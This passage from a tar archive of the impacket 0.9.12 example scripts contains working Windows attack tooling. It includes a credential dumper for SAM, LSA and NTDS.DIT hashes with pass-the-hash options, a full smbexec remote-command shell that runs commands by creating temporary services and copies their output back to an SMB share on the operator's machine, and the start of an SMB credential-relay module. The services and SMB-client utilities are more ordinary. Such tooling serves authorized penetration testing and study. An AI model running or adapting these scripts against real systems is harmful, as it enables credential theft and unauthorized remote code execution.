parser.add_argument('target', action='store', help='[domain/][username[:password]@] or LOCAL (if you want to parse local files)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-system', action='store', help='SYSTEM hive to parse') parser.add_argument('-security', action='store', help='SECURITY hive to parse') parser.add_argument('-sam', action='store', help='SAM hive to parse') parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') parser.add_argument('-history', action='store_true', help='Dump password history') parser.add_argument('-outputfile', action='store', help='base output filename. Extensions will be added for sam, secrets, cached and ntds') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if address.upper() == 'LOCAL' and username == '': if options.system is None: logging.error('SYSTEM hive is always required for local parsing, check help') sys.exit(1) else: if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") dumper = DumpSecrets(address, username, password, domain, options.hashes, options.system, options.security, options.sam, options.ntds, options.outputfile, options.history) try: dumper.dump() except Exception, e: logging.error(e) impacket-0.9.12/examples/services.py 0000600 0000765 0000024 00000033703 12361767070 017476 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2012 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: services.py 1203 2014-04-08 15:05:39Z bethus@gmail.com $ # # [MS-SCMR] services common functions for manipulating services # # Author: # Alberto Solino # # Reference for: # DCE/RPC. # TODO: # [ ] Check errors import socket import string import sys import types import argparse from impacket import uuid, ntlm, version from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.ndr import NULL from impacket.crypto import * class SVCCTL: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self, username, password, domain, options): self.__username = username self.__password = password self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys() self.__options = options self.__action = options.action.upper() self.__domain = domain self.__lmhash = '' self.__nthash = '' if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def run(self, addr): # Try all requested protocols until one works. for protocol in self.__protocol: protodef = SVCCTL.KNOWN_PROTOCOLS[protocol] port = protodef[1] print "Trying protocol %s..." % protocol stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.doStuff(rpctransport) except Exception, e: ##import traceback ##traceback.print_exc() print e break else: # Got a response. No need for further iterations. break def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() #dce.set_credentials(self.__username, self.__password) dce.connect() #dce.set_max_fragment_size(1) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = svcctl.DCERPCSvcCtl(dce) rpc = dce ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] if self.__action != 'LIST' and self.__action != 'CREATE': ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') serviceHandle = ans['lpServiceHandle'] if self.__action == 'START': print "Starting service %s" % self.__options.name scmr.hRStartServiceW(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'STOP': print "Stopping service %s" % self.__options.name scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'DELETE': print "Deleting service %s" % self.__options.name scmr.hRDeleteService(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'CONFIG': print "Querying service config for %s" % self.__options.name resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], if resp['lpServiceConfig']['dwServiceType'] & 0x1: print "SERVICE_KERNEL_DRIVER ", if resp['lpServiceConfig']['dwServiceType'] & 0x2: print "SERVICE_FILE_SYSTEM_DRIVER ", if resp['lpServiceConfig']['dwServiceType'] & 0x10: print "SERVICE_WIN32_OWN_PROCESS ", if resp['lpServiceConfig']['dwServiceType'] & 0x20: print "SERVICE_WIN32_SHARE_PROCESS ", if resp['lpServiceConfig']['dwServiceType'] & 0x100: print "SERVICE_INTERACTIVE_PROCESS ", print "" print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], if resp['lpServiceConfig']['dwStartType'] == 0x0: print "BOOT START" elif resp['lpServiceConfig']['dwStartType'] == 0x1: print "SYSTEM START" elif resp['lpServiceConfig']['dwStartType'] == 0x2: print "AUTO START" elif resp['lpServiceConfig']['dwStartType'] == 0x3: print "DEMAND START" elif resp['lpServiceConfig']['dwStartType'] == 0x4: print "DISABLED" else: print "UNKOWN" print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], if resp['lpServiceConfig']['dwErrorControl'] == 0x0: print "IGNORE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: print "NORMAL" elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: print "SEVERE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: print "CRITICAL" else: print "UNKOWN" print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1] print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1] print "TAG : %d" % resp['lpServiceConfig']['dwTagId'] print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1] print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1] print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1] elif self.__action == 'STATUS': print "Querying status for %s" % self.__options.name resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) print "%30s - " % (self.__options.name), state = resp['lpServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: print "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: print "PAUSED" elif state == scmr.SERVICE_RUNNING: print "RUNNING" elif state == scmr.SERVICE_START_PENDING: print "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: print "STOP PENDING" elif state == scmr.SERVICE_STOPPED: print "STOPPED" else: print "UNKOWN" elif self.__action == 'LIST': print "Listing services available on target" #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) for i in range(len(resp)): print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), state = resp[i]['ServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: print "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: print "PAUSED" elif state == scmr.SERVICE_RUNNING: print "RUNNING" elif state == scmr.SERVICE_START_PENDING: print "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: print "STOP PENDING" elif state == scmr.SERVICE_STOPPED: print "STOPPED" else: print "UNKOWN" print "Total Services: %d" % len(resp) elif self.__action == 'CREATE': print "Creating service %s" % self.__options.name resp = scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.name + '\x00', self.__options.display + '\x00', lpBinaryPathName=self.__options.path + '\x00') elif self.__action == 'CHANGE': print "Changing service config for %s" % self.__options.name if self.__options.start_type is not None: start_type = int(self.__options.start_type) else: start_type = scmr.SERVICE_NO_CHANGE if self.__options.service_type is not None: service_type = int(self.__options.service_type) else: service_type = scmr.SERVICE_NO_CHANGE if self.__options.display is not None: display = self.__options.display + '\x00' else: display = NULL if self.__options.path is not None: path = self.__options.path + '\x00' else: path = NULL if self.__options.start_name is not None: start_name = self.__options.start_name + '\x00' else: start_name = NULL if self.__options.password is not None: s = rpctransport.get_smb_connection() key = s.getSessionKey() password = (self.__options.password+'\x00').encode('utf-16le') password = encryptSecret(key, password) else: password = NULL #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display) scmr.hRCloseServiceHandle(rpc, serviceHandle) else: print "Unknown action %s" % self.__action scmr.hRCloseServiceHandle(rpc, scManagerHandle) dce.disconnect() return # Process command-line arguments. if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') subparsers = parser.add_subparsers(help='actions', dest='action') # A start command start_parser = subparsers.add_parser('start', help='starts the service') start_parser.add_argument('-name', action='store', required=True, help='service name') # A stop command stop_parser = subparsers.add_parser('stop', help='stops the service') stop_parser.add_argument('-name', action='store', required=True, help='service name') # A delete command delete_parser = subparsers.add_parser('delete', help='deletes the service') delete_parser.add_argument('-name', action='store', required=True, help='service name') # A status command status_parser = subparsers.add_parser('status', help='returns service status') status_parser.add_argument('-name', action='store', required=True, help='service name') # A config command config_parser = subparsers.add_parser('config', help='returns service configuration') config_parser.add_argument('-name', action='store', required=True, help='service name') # A list command list_parser = subparsers.add_parser('list', help='list available services') # A create command create_parser = subparsers.add_parser('create', help='create a service') create_parser.add_argument('-name', action='store', required=True, help='service name') create_parser.add_argument('-display', action='store', required=True, help='display name') create_parser.add_argument('-path', action='store', required=True, help='binary path') # A change command create_parser = subparsers.add_parser('change', help='change a service configuration') create_parser.add_argument('-name', action='store', required=True, help='service name') create_parser.add_argument('-display', action='store', required=False, help='display name') create_parser.add_argument('-path', action='store', required=False, help='binary path') create_parser.add_argument('-service_type', action='store', required=False, help='service type') create_parser.add_argument('-start_type', action='store', required=False, help='service start type') create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of the account under which the service should run') create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of the account whose name was specified by the start_name parameter') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") services = SVCCTL(username, password, domain, options) try: services.run(address) except Exception, e: print e impacket-0.9.12/examples/smbclient.py 0000600 0000765 0000024 00000033427 12361767070 017636 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2014 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: smbclient.py 1125 2014-01-27 19:58:16Z bethus@gmail.com $ # # Description: Mini shell using some of the SMB funcionality of the library # # Author: # Alberto Solino # # # Reference for: # SMB DCE/RPC # import sys import string import time import logging from impacket import smb, version, smb3, nt_errors from impacket.dcerpc.v5 import samr, transport, srvs from impacket.dcerpc.v5.dtypes import NULL from impacket.smbconnection import * import argparse import ntpath import cmd import os # If you wanna have readline like functionality in Windows, install pyreadline try: import pyreadline as readline except ImportError: import readline class MiniImpacketShell(cmd.Cmd): def __init__(self): cmd.Cmd.__init__(self) self.prompt = '# ' self.smb = None self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None self.completion = [] def emptyline(self): pass def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception, e: #import traceback #print traceback.print_exc() logging.error(e) return retVal def do_exit(self,line): return True def do_shell(self, line): output = os.popen(line).read() print output self.last_output = output def do_help(self,line): print """ open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """ def do_password(self, line): if self.loggedIn is False: logging.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:") rpctransport = transport.SMBTransport(self.smb.getServerName(), self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash) self.password = newPassword self.lmhash = None self.nthash = None def do_open(self,line): l = line.split(' ') port = 445 if len(l) > 0: host = l[0] if len(l) > 1: port = int(l[1]) if port == 139: self.smb = SMBConnection('*SMBSERVER', host, sess_port=port) else: self.smb = SMBConnection(host, host, sess_port=port) dialect = self.smb.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: logging.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:") self.smb.login(username, password, domain=domain) self.password = password self.username = username if self.smb.isGuestSession() > 0: logging.info("GUEST Session Granted") else: logging.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: logging.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: logging.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: logging.info("GUEST Session Granted") else: logging.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: logging.error("No connection open") return self.smb.logoff() self.share = None self.smb = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: logging.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getServerName(), self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'] print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'] print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'] print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'] print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'] def do_who(self, line): if self.loggedIn is False: logging.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getServerName(), self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502) for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']: print "host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s" % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'], session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1],session['sesi502_transport'][:-1] ) def do_shares(self, line): if self.loggedIn is False: logging.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print resp[i]['shi1_netname'][:-1] def do_use(self,line): if self.loggedIn is False: logging.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: logging.error("No share selected") return p = string.replace(line,'/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd) self.smb.closeFile(self.tid,fid) self.pwd = oldpwd logging.error("Invalid directory") except Exception, e: if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY: pass else: self.pwd = oldpwd raise def do_pwd(self,line): if self.loggedIn is False: logging.error("Not logged in") return print self.pwd def do_ls(self, wildcard, display = True): if self.tid is None: logging.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = string.replace(pwd,'/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print "%crw-rw-rw- %10d %s %s" % ('d' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())) ,f.get_longname() ) self.completion.append((f.get_longname(),f.is_directory())) def do_rm(self, filename): if self.tid is None: logging.error("No share selected") return f = ntpath.join(self.pwd, filename) file = string.replace(f,'/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: logging.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = string.replace(p,'/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: logging.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = string.replace(p,'/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: logging.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = string.replace(f,'/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = string.replace(line,'/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_get(self, filename): if self.tid is None: logging.error("No share selected") return filename = string.replace(filename,'/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_close(self, line): if self.loggedIn is False: logging.error("Not logged in") return del(self.smb); def main(): print version.BANNER shell = MiniImpacketShell() if len(sys.argv)==1: shell.cmdloop() else: parser = argparse.ArgumentParser() parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') options = parser.parse_args() logging.info("Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print "# %s" % line, shell.onecmd(line) else: print line, if __name__ == "__main__": try: main() except: print "\n" pass impacket-0.9.12/examples/smbexec.py 0000700 0000765 0000024 00000026045 12361767071 017304 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2013 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: smbexec.py 1226 2014-06-02 17:13:48Z bethus@gmail.com $ # # A similar approach to psexec w/o using RemComSvc. The technique is described here # http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access # Our implementation goes one step further, instantiating a local smbserver to receive the # output of the commands. This is useful in the situation where the target machine does NOT # have a writeable share available. # Keep in mind that, although this technique might help avoiding AVs, there are a lot of # event logs generated and you can't expect executing tasks that will last long since Windows # will kill the process since it's not responding as a Windows service. # Certainly not a stealthy way. # # This script works in two ways: # 1) share mode: you specify a share, and everything is done through that share. # 2) server mode: if for any reason there's no share available, this script will launch a local # SMB server, so the output of the commands executed are sent back by the target machine # into a locally shared folder. Keep in mind you would need root access to bind to port 445 # in the local machine. # # Author: # beto (bethus@gmail.com) # # Reference for: # DCE/RPC and SMB. import sys import os import cmd import argparse import random import string import time import ConfigParser from threading import Thread from impacket import version, smbserver from impacket.smbconnection import * from impacket.dcerpc import transport, svcctl, srvsvc OUTPUT_FILENAME = '__output' BATCH_FILENAME = 'execute.bat' SMBSERVER_DIR = '__tmp' DUMMY_SHARE = 'TMP' class SMBServer(Thread): def __init__(self): Thread.__init__(self) def cleanup_server(self): print '[*] Cleaning up..' try: os.unlink(SMBSERVER_DIR + '/smb.log') except: pass os.rmdir(SMBSERVER_DIR) def run(self): # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') # Let's add a dummy share smbConfig.add_section(DUMMY_SHARE) smbConfig.set(DUMMY_SHARE,'comment','') smbConfig.set(DUMMY_SHARE,'read only','no') smbConfig.set(DUMMY_SHARE,'share type','0') smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path') self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) print '[*] Creating tmp directory' try: os.mkdir(SMBSERVER_DIR) except Exception, e: print e pass print '[*] Setting up SMB Server' self.smb.processConfigFile() print '[*] Ready to listen...' try: self.smb.serve_forever() except: pass def stop(self): self.cleanup_server() self.smb.socket.close() self.smb.server_close() self._Thread__stop() class CMDEXEC: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, mode = None, share = None): if not protocols: protocols = PSEXEC.KNOWN_PROTOCOLS.keys() self.__username = username self.__password = password self.__protocols = [protocols] self.__serviceName = 'BTOBTO'.encode('utf-16le') self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__mode = mode if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr): for protocol in self.__protocols: protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol] port = protodef[1] print "Trying protocol %s..." % protocol print "Creating service %s..." % self.__serviceName stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport,'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) self.shell.cmdloop() if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt), e: print e self.shell.finish() sys.stdout.flush() sys.exit(1) class RemoteShell(cmd.Cmd): def __init__(self, share, rpc, mode, serviceName): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME self.__batchFile = '%TEMP%\\' + BATCH_FILENAME self.__outputBuffer = '' self.__command = '' self.__shell = '%COMSPEC% /Q /c ' self.__serviceName = serviceName self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' dce = rpc.get_dce_rpc() try: dce.connect() except Exception, e: print e sys.exit(1) s = rpc.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) dce.bind(svcctl.MSRPC_UUID_SVCCTL) self.rpcsvc = svcctl.DCERPCSvcCtl(dce) resp = self.rpcsvc.OpenSCManagerW() self.__scHandle = resp['ContextHandle'] self.transferClient = rpc.get_smb_connection() self.do_cd('') def finish(self): # Just in case the service is still created try: dce = self.__rpc.get_dce_rpc() dce.connect() dce.bind(svcctl.MSRPC_UUID_SVCCTL) self.rpcsvc = svcctl.DCERPCSvcCtl(dce) resp = self.rpcsvc.OpenSCManagerW() self.__scHandle = resp['ContextHandle'] resp = self.rpcsvc.OpenServiceW(self.__scHandle, self.__serviceName) service = resp['ContextHandle'] self.rpcsvc.DeleteService(service) self.rpcsvc.StopService(service) self.rpcsvc.CloseServiceHandle(service) except Exception, e: pass def do_shell(self, s): os.system(s) def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): # We just can't CD or mantain track of the target dir. if len(s) > 0: print "[!] You can't CD under SMBEXEC. Use full paths." self.execute_remote('cd ' ) if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>' self.__outputBuffer = '' def do_CD(self, s): return self.do_cd(s) def default(self, line): if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, self.__output, output_callback) self.transferClient.deleteFile(self.__share, self.__output) else: fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') output_callback(fd.read()) fd.close() os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile resp = self.rpcsvc.CreateServiceW(self.__scHandle, self.__serviceName, self.__serviceName, command.encode('utf-16le')) service = resp['ContextHandle'] try: self.rpcsvc.StartServiceW(service) except: pass self.rpcsvc.DeleteService(service) self.rpcsvc.CloseServiceHandle(service) self.get_output() def send_data(self, data): self.execute_remote(data) print self.__outputBuffer self.__outputBuffer = '' # Process command-line arguments. if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[domain/][username[:password]@]') parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from (default C$)') parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', help='mode to use (default SHARE, SERVER needs root!)') parser.add_argument('protocol', choices=CMDEXEC.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") executer = CMDEXEC(options.protocol, username, password, domain, options.hashes, options.mode, options.share) executer.run(address) sys.exit(0) impacket-0.9.12/examples/smbrelayx.py 0000600 0000765 0000024 00000071543 12361767070 017665 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2013 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: smbrelayx.py 1214 2014-04-16 17:57:44Z bethus@gmail.com $ # # SMB Relay Module # # Author: # Alberto Solino # # Description: # This module performs the SMB Relay attacks originally discovered by cDc. It receives a # list of targets and for every connection received it will choose the next target and try to relay the # credentials. Also, if specified, it will first to try authenticate against the client connecting to us. # # It is implemented by invoking a SMB and HTTP Server, hooking to a few functions and then using the smbclient # portion. It is supposed to be working on any LM Compatibility level. The only way to stop this attack # is to enforce on the server SPN checks and or signing. # # If the authentication against the targets succeed, the client authentication success as well and # a valid connection is set against the local smbserver. It's up to the user to set up the local # smbserver functionality. One option is to set up shares with whatever files you want to the victim # thinks it's connected to a valid SMB server. All that is done through the smb.conf file or # programmatically. # import socket import string import sys import types import os import random import time import argparse import SimpleHTTPServer import SocketServer import base64 from impacket import smbserver, smb, ntlm, dcerpc, version from impacket.dcerpc import dcerpc, transport, srvsvc, svcctl from 